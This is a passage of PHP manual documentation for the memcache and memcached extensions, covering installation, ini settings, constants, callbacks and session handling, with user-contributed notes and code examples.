        return $this->connections[$hashCode%$ns];
    }
    return false;
    }

    public function debug($on_off) {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->debug($on_off)) $result = true;
    }
    return $result;
    }

    public function flush() {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->flush()) $result = true;
    }
    return $result;
    }

/// The following are not implemented:
///getStats()
///getVersion()

    public function get($key) {
    if (is_array($key)) {
        $dest = array();
        foreach ($key as $subkey) {
        $val = get($subkey);
        if (!($val === false)) $dest[$subkey] = $val;
        }
        return $dest;
    } else {
        return $this->_getConForKey($key)->get($key);
    }
    }

    public function set($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
    }

    public function add($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
    }

    public function replace($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->replace
        ($key, $var, $compress, $expire);
    }

    public function delete($key, $timeout=0) {
    return $this->_getConForKey($key)->delete($key, $timeout);
    }

    public function increment($key, $value=1) {
    return $this->_getConForKey($key)->increment($key, $value);
    }

    public function decrement($key, $value=1) {
    return $this->_getConForKey($key)->decrement($key, $value);
    }

}
?>


Turn debug output on/off

  • « Memcache Functions
  • Memcached »
  • PHP Manual
  • Memcache Functions
  • Turn debug output on/off

memcache_debug

(PECL memcache >= 0.2.0)

memcache_debug — Turn debug output on/off

Description

bool memcache_debug ( bool $on_off )

memcache_debug() turns on debug output if parameter on_off is equal to TRUE and turns off if it's FALSE.

Note:

memcache_debug() is accessible only if PHP was built with --enable-debug option and always returns TRUE in this case. Otherwise, this function has no effect and always returns FALSE.

Parameters

on_off

Turns debug output on if equals to TRUE. Turns debug output off if equals to FALSE.

Return Values

Returns TRUE if PHP was built with --enable-debug option, otherwise returns FALSE.

User Contributed Notes

csongor at halmai dot hu 15-Jul-2014 09:43
In PHP 5.5.14 this function returns NULL (not TRUE or FALSE). I have no information about other PHP releases.
markus at buyways dot nl 22-Oct-2009 11:39
This method is deprecated in at least PHP 5.2.6

memcache_debug() [<a href='function.memcache-debug'>function.memcache-debug</a>]: memcache_debug() is deprecated, please use a debugger (like Eclipse + CDT)


Memcached

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Expiration Times
  • Callbacks
    • Result callbacks
    • Read-through cache callbacks
  • Sessions support
  • Memcached — The Memcached class
    • Memcached::add — Add an item under a new key
    • Memcached::addByKey — Add an item under a new key on a specific server
    • Memcached::addServer — Add a server to the server pool
    • Memcached::addServers — Add multiple servers to the server pool
    • Memcached::append — Append data to an existing item
    • Memcached::appendByKey — Append data to an existing item on a specific server
    • Memcached::cas — Compare and swap an item
    • Memcached::casByKey — Compare and swap an item on a specific server
    • Memcached::__construct — Create a Memcached instance
    • Memcached::decrement — Decrement numeric item's value
    • Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server
    • Memcached::delete — Delete an item
    • Memcached::deleteByKey — Delete an item from a specific server
    • Memcached::deleteMulti — Delete multiple items
    • Memcached::deleteMultiByKey — Delete multiple items from a specific server
    • Memcached::fetch — Fetch the next result
    • Memcached::fetchAll — Fetch all the remaining results
    • Memcached::flush — Invalidate all items in the cache
    • Memcached::get — Retrieve an item
    • Memcached::getAllKeys — Gets the keys stored on all the servers
    • Memcached::getByKey — Retrieve an item from a specific server
    • Memcached::getDelayed — Request multiple items
    • Memcached::getDelayedByKey — Request multiple items from a specific server
    • Memcached::getMulti — Retrieve multiple items
    • Memcached::getMultiByKey — Retrieve multiple items from a specific server
    • Memcached::getOption — Retrieve a Memcached option value
    • Memcached::getResultCode — Return the result code of the last operation
    • Memcached::getResultMessage — Return the message describing the result of the last operation
    • Memcached::getServerByKey — Map a key to a server
    • Memcached::getServerList — Get the list of the servers in the pool
    • Memcached::getStats — Get server pool statistics
    • Memcached::getVersion — Get server pool version info
    • Memcached::increment — Increment numeric item's value
    • Memcached::incrementByKey — Increment numeric item's value, stored on a specific server
    • Memcached::isPersistent — Check if a persitent connection to memcache is being used
    • Memcached::isPristine — Check if the instance was recently created
    • Memcached::prepend — Prepend data to an existing item
    • Memcached::prependByKey — Prepend data to an existing item on a specific server
    • Memcached::quit — Close any open connections
    • Memcached::replace — Replace the item under an existing key
    • Memcached::replaceByKey — Replace the item under an existing key on a specific server
    • Memcached::resetServerList — Clears all servers from the server list
    • Memcached::set — Store an item
    • Memcached::setByKey — Store an item on a specific server
    • Memcached::setMulti — Store multiple items
    • Memcached::setMultiByKey — Store multiple items on a specific server
    • Memcached::setOption — Set a Memcached option
    • Memcached::setOptions — Set Memcached options
    • Memcached::setSaslAuthData — Set the credentials to use for authentication
    • Memcached::touch — Set a new expiration on an item
    • Memcached::touchByKey — Set a new expiration on an item on a specific server
  • MemcachedException — The MemcachedException class

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 05-Sep-2014 08:59
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}
davidt 03-Jan-2013 10:14
The module also supports SASL authentication, it just isn't documented sadly. You'll need to run the following code:

<?php
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("user-1", "pass");
?>

You need to enable the "memcached.use_sasl = 1" ini option for memcached in the php.ini file.
mike at eastghost dot com 06-Feb-2012 01:05
It's Feb 2012, and I just spent half a day tracing a weird and sporadic problem back to Memcached extension (vers 1.0.2), which would randomly return SYSTEM ERROR and fail to either get or put data into unix memcached.  Made one single change from Memcached extension back to Memcache extension and problem instantly vanished.

A year or three ago, I had changed from Memcache to Memcached for some other reason.

Now I'm on a mission to transcend the Memcache/Memcached fiasco.  I'm going to try APC's variable cache, and if that doesn't work better than just revert to using a key:value stash collection in Mongo.

Basically, the Memcache / Memcache driver fiasco, which has been going on apparently for years now, has ruined serious use of unix memcached on PHP...unless you're huge and can afford to create your own MemcacheX driver...
joelhy 23-May-2011 05:27
For those confuse about the memcached extension and the memcache extension, the short story is that both of them are clients of memcached server, and the memcached extension offer more features than the memcache extension.


Introduction

» memcached is a high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.

This extension uses the libmemcached library to provide an API for communicating with memcached servers. It also provides a session handler (memcached).

Information about libmemcached can be found at » http://libmemcached.org/libMemcached.html.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires » libmemcached client library (version 1.0.0 or greater). For SASL authentication support, libmemcached must be built with SASL enabled.

Since version 0.2.0, this extension requires PHP version 5.2.0 or higher.

User Contributed Notes

Jimmy Oak 07-Nov-2013 07:53
If you install it by: "pecl install memcached", don't forget to install libmemcached-devel too. You can find it in remi repo.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memcached.

If libmemcached is installed in a non-standard location, use --with-libmemcached-dir=DIR switch, where DIR is the libmemcached install prefix. This directory has to contain the include/libmemcached/memcached.h file.

Zlib is required for compression support. To specify non-standard installation of Zlib, use --with-zlib-dir=DIR switch, where DIR is the Zlib install prefix.

Session handler support is enabled by default. To disable it, use --disable-memcached-session switch.

SASL authentication support is disabled by default. To enable it, use --enable-memcached-sasl switch. This requires that libsasl2 has been installed and that libmemcached has been built with SASL support enabled.

User Contributed Notes

qeremy [at] gmail [dot] com 22-Feb-2012 06:32
Do not lose your time to install it on Ubuntu just trying "sudo apt-get install php5-memcached". There is something you need to do that sure installing memcached. Anyway...

Step 1.
$ sudo apt-get install memcached
Step 2.
$ sudo apt-get install php5-memcached
Step 3.
$ sudo /etc/init.d/apache2 restart

Ready!

What about some test?

<?php
error_reporting(E_ALL & ~E_NOTICE);

$mc = new Memcached();
$mc->addServer("localhost", 11211);

$mc->set("foo", "Hello!");
$mc->set("bar", "Memcached...");

$arr = array(
    $mc->get("foo"),
    $mc->get("bar")
);
var_dump($arr);
?>

Hoping to help someone.
~Kerem
petermiller1986 att gmail dotttttttt com 11-Feb-2012 04:09
i'm planning on using membase for my website and i was really struggling to install the memcashed php client on ubuntu with pear, but actually there is an easier way:

$ sudo apt-get install php5-memcached

you dont even need to install the membase server first - this can be done afterwards. hope this helps someone!
gpuk at dasserver dot com 02-Mar-2010 10:50
At present memcached-1.0.0 does not compile with libmemcached-0.38. This is apparently due to libmemcached chaning the API.

For evidence, see this bug: http://pecl.php.net/bugs/bug.php?id=17070

Note: I am encountering the same 'memcached_st' has no member named 'hash' error on a Debian lenny amd_64 box.
Clint Priest 09-Nov-2009 07:53
If your server has --enable-json=shared as mine did, this extension requires you to have extension=json.so to load properly.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Memcached Configure Options
Name | Default | Changeable | Changelog
memcached.sess_locking | 1 | PHP_INI_ALL |
memcached.sess_consistent_hash | 0 | PHP_INI_ALL |
memcached.sess_binary | 0 | PHP_INI_ALL |
memcached.sess_lock_wait | 150000 | PHP_INI_ALL |
memcached.sess_prefix | memc.sess.key. | PHP_INI_ALL |
memcached.sess_number_of_replicas | 0 | PHP_INI_ALL |
memcached.sess_randomize_replica_read | 0 | PHP_INI_ALL |
memcached.sess_remove_failed | 0 | PHP_INI_ALL |
memcached.compression_type | fastlz | PHP_INI_ALL |
memcached.compression_factor | 1.3 | PHP_INI_ALL |
memcached.compression_threshold | 2000 | PHP_INI_ALL |
memcached.serializer | php | PHP_INI_ALL |
memcached.use_sasl | 0 | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

memcached.sess_locking integer

Use session locking. Valid values: On, Off, the default is On.

memcached.sess_consistent_hash integer

Memcached session consistent hash mode. If set to On, consistent hashing is used for session handling. When consistent hashing is used, one can add or remove cache node(s) without messing up too much with existing keys. The default is Off.

memcached.sess_binary integer

Use memcached session binary mode. Libmemcached replicas only work if binary mode is enabled. The default is Off.

memcached.sess_lock_wait integer

Session spin lock retry wait time in microseconds. Be carefull when setting this value. Valid values are integers, where 0 is interpreted as the default value. Negative values result in a reduces locking to a try lock. The default is 150000.

memcached.sess_prefix string

Memcached session key prefix. Valid values are strings less than 219 bytes long. The default value is "memc.sess.key."

memcached.sess_number_of_replicas integer

The memcached session number of replicas.

memcached.sess_randomize_replica_read integer

Memcached session replica read randomize.

memcached.sess_remove_failed integer

Allow failed memcached server to automatically be removed.

memcached.compression_type string

Set the compression type, valid values are: fastlz, zlib. The default is fastlz.

memcached.compression_factor float

Compression factor. Store compressed value only if the compression factor (saving) exceeds the set limit. Store compressed if: plain_len > comp_len * factor. The default value is 1.3 (23% space saving).

memcached.compression_threshold integer

The compression threshold. Do not compress serialized values below this threshold. The default is 2000 bytes.

memcached.serializer string

Set the default serializer for new memcached objects. Valid values are: php, igbinary, json, json_array.

json

Standard php JSON encoding. This serializer is fast and compact but only works on UTF-8 encoded data and does not fully implement serializing. See the JSON extension.

json_array

As json, but decodes into arrays.

php

The standard PHP serializer.

igbinary

A binary serializer

The default is igbinary if available and php otherwise.

memcached.use_sasl integer

Use SASL authentication for connections. Valid values: On, Off. The default is Off.

User Contributed Notes

senz 06-Mar-2014 10:28
In case, you are wondering why your sessions are "killed" after 1440 seconds, take a look at session.gc_maxlifetime. It's value is used in memcached expiration field according to memcache protocol rules. Also, do not forget about cookie expiration time
adolfoabegg at gmail dot com 15-Dec-2011 06:01
you can get the list of the possible options for the memcached.ini configuration file here:
https://github.com/php-memcached-dev/php-memcached/blob/master/memcached.ini


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Memcached::OPT_COMPRESSION

Enables or disables payload compression. When enabled, item values longer than a certain threshold (currently 100 bytes) will be compressed during storage and decompressed during retrieval transparently.

Type: boolean, default: TRUE.

Memcached::OPT_SERIALIZER

Specifies the serializer to use for serializing non-scalar values. The valid serializers are Memcached::SERIALIZER_PHP or Memcached::SERIALIZER_IGBINARY. The latter is supported only when memcached is configured with --enable-memcached-igbinary option and the igbinary extension is loaded.

Type: integer, default: Memcached::SERIALIZER_PHP.

Memcached::SERIALIZER_PHP

The default PHP serializer.

Memcached::SERIALIZER_IGBINARY

The » igbinary serializer. Instead of textual representation it stores PHP data structures in a compact binary form, resulting in space and time gains.

Memcached::SERIALIZER_JSON

The JSON serializer. Requires PHP 5.2.10+.

Memcached::OPT_PREFIX_KEY

This can be used to create a "domain" for your item keys. The value specified here will be prefixed to each of the keys. It cannot be longer than 128 characters and will reduce the maximum available key size. The prefix is applied only to the item keys, not to the server keys.

Type: string, default: "".

Memcached::OPT_HASH

Specifies the hashing algorithm used for the item keys. The valid values are supplied via Memcached::HASH_* constants. Each hash algorithm has its advantages and its disadvantages. Go with the default if you don't know or don't care.

Type: integer, default: Memcached::HASH_DEFAULT

Memcached::HASH_DEFAULT

The default (Jenkins one-at-a-time) item key hashing algorithm.

Memcached::HASH_MD5

MD5 item key hashing algorithm.

Memcached::HASH_CRC

CRC item key hashing algorithm.

Memcached::HASH_FNV1_64

FNV1_64 item key hashing algorithm.

Memcached::HASH_FNV1A_64

FNV1_64A item key hashing algorithm.

Memcached::HASH_FNV1_32

FNV1_32 item key hashing algorithm.

Memcached::HASH_FNV1A_32

FNV1_32A item key hashing algorithm.

Memcached::HASH_HSIEH

Hsieh item key hashing algorithm.

Memcached::HASH_MURMUR

Murmur item key hashing algorithm.

Memcached::OPT_DISTRIBUTION

Specifies the method of distributing item keys to the servers. Currently supported methods are modulo and consistent hashing. Consistent hashing delivers better distribution and allows servers to be added to the cluster with minimal cache losses.

Type: integer, default: Memcached::DISTRIBUTION_MODULA.

Memcached::DISTRIBUTION_MODULA

Modulo-based key distribution algorithm.

Memcached::DISTRIBUTION_CONSISTENT

Consistent hashing key distribution algorithm (based on libketama).

Memcached::OPT_LIBKETAMA_COMPATIBLE

Enables or disables compatibility with libketama-like behavior. When enabled, the item key hashing algorithm is set to MD5 and distribution is set to be weighted consistent hashing distribution. This is useful because other libketama-based clients (Python, Ruby, etc.) with the same server configuration will be able to access the keys transparently.

Note:

It is highly recommended to enable this option if you want to use consistent hashing, and it may be enabled by default in future releases.

Type: boolean, default: FALSE.

Memcached::OPT_BUFFER_WRITES

Enables or disables buffered I/O. Enabling buffered I/O causes storage commands to "buffer" instead of being sent. Any action that retrieves data causes this buffer to be sent to the remote connection. Quitting the connection or closing down the connection will also cause the buffered data to be pushed to the remote connection.

Type: boolean, default: FALSE.

Memcached::OPT_BINARY_PROTOCOL

Enable the use of the binary protocol. Please note that you cannot toggle this option on an open connection.

Type: boolean, default: FALSE.

Memcached::OPT_NO_BLOCK

Enables or disables asynchronous I/O. This is the fastest transport available for storage functions.

Type: boolean, default: FALSE.

Memcached::OPT_TCP_NODELAY

Enables or disables the no-delay feature for connecting sockets (may be faster in some environments).

Type: boolean, default: FALSE.

Memcached::OPT_SOCKET_SEND_SIZE

The maximum socket send buffer in bytes.

Type: integer, default: varies by platform/kernel configuration.

Memcached::OPT_SOCKET_RECV_SIZE

The maximum socket receive buffer in bytes.

Type: integer, default: varies by platform/kernel configuration.

Memcached::OPT_CONNECT_TIMEOUT

In non-blocking mode this set the value of the timeout during socket connection, in milliseconds.

Type: integer, default: 1000.

Memcached::OPT_RETRY_TIMEOUT

The amount of time, in seconds, to wait until retrying a failed connection attempt.

Type: integer, default: 0.

Memcached::OPT_SEND_TIMEOUT

Socket sending timeout, in microseconds. In cases where you cannot use non-blocking I/O this will allow you to still have timeouts on the sending of data.

Type: integer, default: 0.

Memcached::OPT_RECV_TIMEOUT

Socket reading timeout, in microseconds. In cases where you cannot use non-blocking I/O this will allow you to still have timeouts on the reading of data.

Type: integer, default: 0.

Memcached::OPT_POLL_TIMEOUT

Timeout for connection polling, in milliseconds.

Type: integer, default: 1000.

Memcached::OPT_CACHE_LOOKUPS

Enables or disables caching of DNS lookups.

Type: boolean, default: FALSE.

Memcached::OPT_SERVER_FAILURE_LIMIT

Specifies the failure limit for server connection attempts. The server will be removed after this many continuous connection failures.

Type: integer, default: 0.

Memcached::HAVE_IGBINARY

Indicates whether igbinary serializer support is available.

Type: boolean.

Memcached::HAVE_JSON

Indicates whether JSON serializer support is available.

Type: boolean.

Memcached::GET_PRESERVE_ORDER

A flag for Memcached::getMulti() and Memcached::getMultiByKey() to ensure that the keys are returned in the same order as they were requested in. Non-existing keys get a default value of NULL.

Memcached::RES_SUCCESS

The operation was successful.

Memcached::RES_FAILURE

The operation failed in some fashion.

Memcached::RES_HOST_LOOKUP_FAILURE

DNS lookup failed.

Memcached::RES_UNKNOWN_READ_FAILURE

Failed to read network data.

Memcached::RES_PROTOCOL_ERROR

Bad command in memcached protocol.

Memcached::RES_CLIENT_ERROR

Error on the client side.

Memcached::RES_SERVER_ERROR

Error on the server side.

Memcached::RES_WRITE_FAILURE

Failed to write network data.

Memcached::RES_DATA_EXISTS

Failed to do compare-and-swap: item you are trying to store has been modified since you last fetched it.

Memcached::RES_NOTSTORED

Item was not stored: but not because of an error. This normally means that either the condition for an "add" or a "replace" command wasn't met, or that the item is in a delete queue.

Memcached::RES_NOTFOUND

Item with this key was not found (with "get" operation or "cas" operations).

Memcached::RES_PARTIAL_READ

Partial network data read error.

Memcached::RES_SOME_ERRORS

Some errors occurred during multi-get.

Memcached::RES_NO_SERVERS

Server list is empty.

Memcached::RES_END

End of result set.

Memcached::RES_ERRNO

System error.

Memcached::RES_BUFFERED

The operation was buffered.

Memcached::RES_TIMEOUT

The operation timed out.

Memcached::RES_BAD_KEY_PROVIDED

Bad key.

Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE

Failed to create network socket.

Memcached::RES_PAYLOAD_FAILURE

Payload failure: could not compress/decompress or serialize/unserialize the value.

User Contributed Notes

Allen Tsai 25-May-2011 12:04
Memcached::OPT_SERVER_FAILURE_LIMIT - once a server has hit this limit, the client's getResultMessage() will return "SERVER IS MARKED DEAD."  Further gets() for keys hashing to this server will continue returning this message, as will sets() hashing to the dead server.

Version 2.0.01b supports a constant Memcached::OPT_AUTO_EJECT_HOSTS which allows automatic rebalancing of the cluster/automatic failover handling.
akenney at onesite dot com 29-Dec-2010 05:13
Apparently there is a bug in libmemcached where connect timeout does not work when OPT_NO_BLOCK is set as well.

The bug and related blocking bugs are discussed here:
https://bugs.launchpad.net/libmemcached/+bug/583031

We confirmed this in libmemcached version 0.43

Be sure to test some memcache servers in your pool being unavailable (no route to host and memcache service down) to ensure that timeout settings are working correctly.
tyliu2 at gmail dot com 22-Jan-2010 07:07
RES_SUCCESS = 0
RES_FAILURE = 1
RES_HOST_LOOKUP_FAILURE = 2
RES_UNKNOWN_READ_FAILURE = 7
RES_PROTOCOL_ERROR = 8
RES_CLIENT_ERROR = 9
RES_SERVER_ERROR = 10
RES_WRITE_FAILURE = 5
RES_DATA_EXISTS = 12
RES_NOTSTORED = 14
RES_NOTFOUND = 16
RES_PARTIAL_READ = 18
RES_SOME_ERRORS = 19
RES_NO_SERVERS = 20
RES_END = 21
RES_ERRNO = 26
RES_BUFFERED = 32
RES_TIMEOUT = 31
RES_BAD_KEY_PROVIDED = 33
RES_CONNECTION_SOCKET_CREATE_FAILURE = 11
RES_PAYLOAD_FAILURE = -1001


Expiration Times

Some storage commands involve sending an expiration value (relative to an item or to an operation requested by the client) to the server. In all such cases, the actual value sent may either be Unix time (number of seconds since January 1, 1970, as an integer), or a number of seconds starting from current time. In the latter case, this number of seconds may not exceed 60*60*24*30 (number of seconds in 30 days); if the expiration value is larger than that, the server will consider it to be real Unix time value rather than an offset from current time.

If the expiration value is 0 (the default), the item never expires (although it may be deleted from the server to make place for other items).

User Contributed Notes

info at tueena dot com 25-Jan-2012 12:24
Note that if you pass the expiration time as an offset of seconds then the cache item will expire in current-second + offset, not in now + offset.

<?php
$Memcached->add('foo', 42, 2);
?>

This item will expire in n seconds where n > 1 and <= 2, not in exactly 2 seconds.


Callbacks

Table of Contents

  • Result callbacks
  • Read-through cache callbacks

User Contributed Notes

There are no user contributed notes for this page.


Result callbacks

Result callbacks are invoked by Memcached::getDelayed() or Memcached::getDelayedBykey() methods for each item in the result set. The callback is passed the Memcached object and the array with the item information. The callback does not have to return anything.

Example #1 Result callback example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$m->getDelayed(array('key1', 'key3'), true, 'result_cb');

function result_cb($memc, $item)
{
    var_dump($item);
}
?>

The above example will output something similar to:

array(3) {
  ["key"]=>
  string(4) "key1"
  ["value"]=>
  string(6) "value1"
  ["cas"]=>
  float(49)
}
array(3) {
  ["key"]=>
  string(4) "key3"
  ["value"]=>
  string(6) "value3"
  ["cas"]=>
  float(50)
}

User Contributed Notes

edwarddrapkin at gmail dot com 12-Mar-2009 02:54
I was having trouble making method calls with the result callbacks in getDelayed, so I emailed the developer.

If you want to use a non-static method as a callback, use the following format: array($obj, 'method'); for example:

<?php
class foo {
    private $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function test() {
        $this->M->getDelayed(array('a'), false, array($this, 'fun'));
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->test();
?>

or, alternatively:

<?php
class foo {
    public $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->M->getDelayed(array('a'), false, array($f, 'fun'));
?>

Works great, thanks Andrei :)


Read-through cache callbacks

Read-through cache callbacks are invoked when an item cannot be retrieved from the server. The callback is passed the Memcached object, the requested key, and the by-reference value variable. The callback is responsible for setting the value and returning true or false. If the callback returns true, Memcached will store the populated value on the server and return it to the original calling function. Only Memcached::get() and Memcached::getByKey() support these callbacks, because the memcache protocol does not provide information on which keys were not found in the multi-key request.

Example #1 Read-through callback example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$profile_info = $m->get('user:'.$user_id, 'user_info_cb');

function user_info_cb($memc, $key, &$value)
{
    $user_id = substr($key, 5);
    /* lookup profile info in the DB */
    /* ... */
    $value = $profile_info;
    return true;
}
?>

User Contributed Notes

chadkouse 27-Dec-2011 10:24
Or just set the value within the callback with your own custom expiration time and return false.  I think it's cleaner.
oorza2k5 at gmail dot com 21-Mar-2009 02:40
This isn't specified anywhere, so I had a gander at the source...

The expiry on read-through cache set values is set to 0, or forever.  This means if you want your key to implicitly expire, don't use the callback methods, instead check for boolean false as a return and manually set the value, at least for now.


Sessions support

Memcached provides a custom session handler that can be used to store user sessions in memcache. A completely separate memcached instance is used for that internally, so you can use a different server pool if necessary. The session keys are stored under the prefix memc.sess.key., so be aware of this if you use the same server pool for sessions and generic caching.

session.save_handler string

Set to memcached to enable sessions support.

session.save_path string

Defines a comma separated of hostname:port entries to use for session server pool, for example "sess1:11211, sess2:11211".

User Contributed Notes

Ian Maddox 03-Jul-2014 11:22
If you are setting data to the session and it immediately disappears and you aren't getting any warnings in your PHP error log, it's probably because your sessions expired sometime in the 1970s.

Somewhere between memcached 1.0.2 and 2.1.0, the memcached session handler became sensitive to the 30-day TTL gotcha (aka "transparent failover").  If your session.gc_maxlifetime is greater than 2592000 (30 days), the value is treated as a unix timestamp instead of a relative seconds count.

This issue is likely to impact anyone with long-running sessions who is upgrading from Ubuntu 12.04 to 14.04.
me at nileshgr dot com 08-Apr-2014 07:38
It seems a few people think saving sessions in memcache is more secure compared to saving in file-system (/tmp) especially when the discussion is about shared hosting.

This is not true. memcache has NO authentication; everybody & anybody can read session.save_path (which will contain the memcached daemon address).

FastCGI (PHP-FPM) is much much better when you're considering security and shared hosting.

If you want to share sessions across multiple servers transparently without having headaches of adding custom handlers, you can use NFS or something similar.
richard at fussenegger dot info 17-Jun-2013 05:56
The documentation is not complete, you can also pass the weight of each server and you can use sockets if you want. In your PHP ini:

<?php

// Sockets with weight in the format socket_path:port:weight
session.save_path = "/path/to/socket:0:42"

// Or more than one so that weight makes sense?
session.save_path = "/path/to/socket_x:0:42,/path/to/socket_y:0:666"

?>

And if you should ever want to access these servers in PHP:

<?php

$servers = explode(",", ini_get("session.save_path"));
$c = count($servers);
for ($i = 0; $i < $c; ++$i) {
  $servers[$i] = explode(":", $servers[$i]);
}
$memcached = new \Memcached();
call_user_func_array([ $memcached, "addServers" ], $servers);
print_r($memcached->getAllKeys());

?>
taubers at gmail dot com 05-Oct-2012 08:42
If you are using the memcache class for session handling your key is the PHP session ID.  This is different than when using the  memcached class.

Example with memcache:
GET nphu2u8eo5niltfgdbc33ajb62

Example with memcached:
GET memc.sess.key.nphu2u8eo5niltfgdbc33ajb62

For memcached, the prefix is set in the config:
memcached.sess_prefix = "memc.sess.key."
sstratton at php dot net 14-Jun-2011 09:48
While the previous poster has a point that Memcached can and will cleanup to make room for it's keys, the likelihood of active sessions (due to the likelihood that they will be written to again within 30 seconds) is fairly low provided you have your memory allocation properly alloted.
nfoo at naver dot com 28-Aug-2010 09:15
If you want to use 'memcacheD' extention not 'memcache' (there are two diffrent extentions) for session control,  you should pay attention to modify php.ini

Most web resource from google is based on memcache because It's earlier version than memcacheD. They will say as following

session.save_handler = memcache
session.save_path = "tcp://localhost:11211"

But it's not valid when it comes to memcacheD

you should modify php.ini like that

session.save_handler = memcached
session.save_path = "localhost:11211"

Look, there is no protocol indentifier
Andrei Darashenka 27-May-2009 04:56
This extension supports Session-locking!

by default
MEMC_SESS_LOCK_ATTEMPTS   30
MEMC_SESS_LOCK_WAIT       100000
MEMC_SESS_LOCK_EXPIRATION 30


The Memcached class

(PECL memcached >= 0.1.0)

Introduction

Represents a connection to a set of memcached servers.

Class synopsis

Memcached {
public __construct ([ string $persistent_id ] )
public bool add ( string $key , mixed $value [, int $expiration ] )
public bool addByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool addServer ( string $host , int $port [, int $weight = 0 ] )
public bool addServers ( array $servers )
public bool append ( string $key , string $value )
public bool appendByKey ( string $server_key , string $key , string $value )
public bool cas ( float $cas_token , string $key , mixed $value [, int $expiration ] )
public bool casByKey ( float $cas_token , string $server_key , string $key , mixed $value [, int $expiration ] )
public int decrement ( string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )
public int decrementByKey ( string $server_key , string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )
public bool delete ( string $key [, int $time = 0 ] )
public bool deleteByKey ( string $server_key , string $key [, int $time = 0 ] )
public bool deleteMulti ( array $keys [, int $time = 0 ] )
public bool deleteMultiByKey ( string $server_key , array $keys [, int $time = 0 ] )
public array fetch ( void )
public array fetchAll ( void )
public bool flush ([ int $delay = 0 ] )
public mixed get ( string $key [, callable $cache_cb [, float &$cas_token ]] )
public array getAllKeys ( void )
public mixed getByKey ( string $server_key , string $key [, callable $cache_cb [, float &$cas_token ]] )
public bool getDelayed ( array $keys [, bool $with_cas [, callable $value_cb ]] )
public bool getDelayedByKey ( string $server_key , array $keys [, bool $with_cas [, callable $value_cb ]] )
public mixed getMulti ( array $keys [, array &$cas_tokens [, int $flags ]] )
public array getMultiByKey ( string $server_key , array $keys [, string &$cas_tokens [, int $flags ]] )
public mixed getOption ( int $option )
public int getResultCode ( void )
public string getResultMessage ( void )
public array getServerByKey ( string $server_key )
public array getServerList ( void )
public array getStats ( void )
public array getVersion ( void )
public int increment ( string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )
public int incrementByKey ( string $server_key , string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )
public bool isPersistent ( void )
public bool isPristine ( void )
public bool prepend ( string $key , string $value )
public bool prependByKey ( string $server_key , string $key , string $value )
public bool quit ( void )
public bool replace ( string $key , mixed $value [, int $expiration ] )
public bool replaceByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool resetServerList ( void )
public bool set ( string $key , mixed $value [, int $expiration ] )
public bool setByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool setMulti ( array $items [, int $expiration ] )
public bool setMultiByKey ( string $server_key , array $items [, int $expiration ] )
public bool setOption ( int $option , mixed $value )
public bool setOptions ( array $options )
public void setSaslAuthData ( string $username , string $password )
public bool touch ( string $key , int $expiration )
public bool touchByKey ( string $server_key , string $key , int $expiration )
}

Table of Contents

  • Memcached::add — Add an item under a new key
  • Memcached::addByKey — Add an item under a new key on a specific server
  • Memcached::addServer — Add a server to the server pool
  • Memcached::addServers — Add multiple servers to the server pool
  • Memcached::append — Append data to an existing item
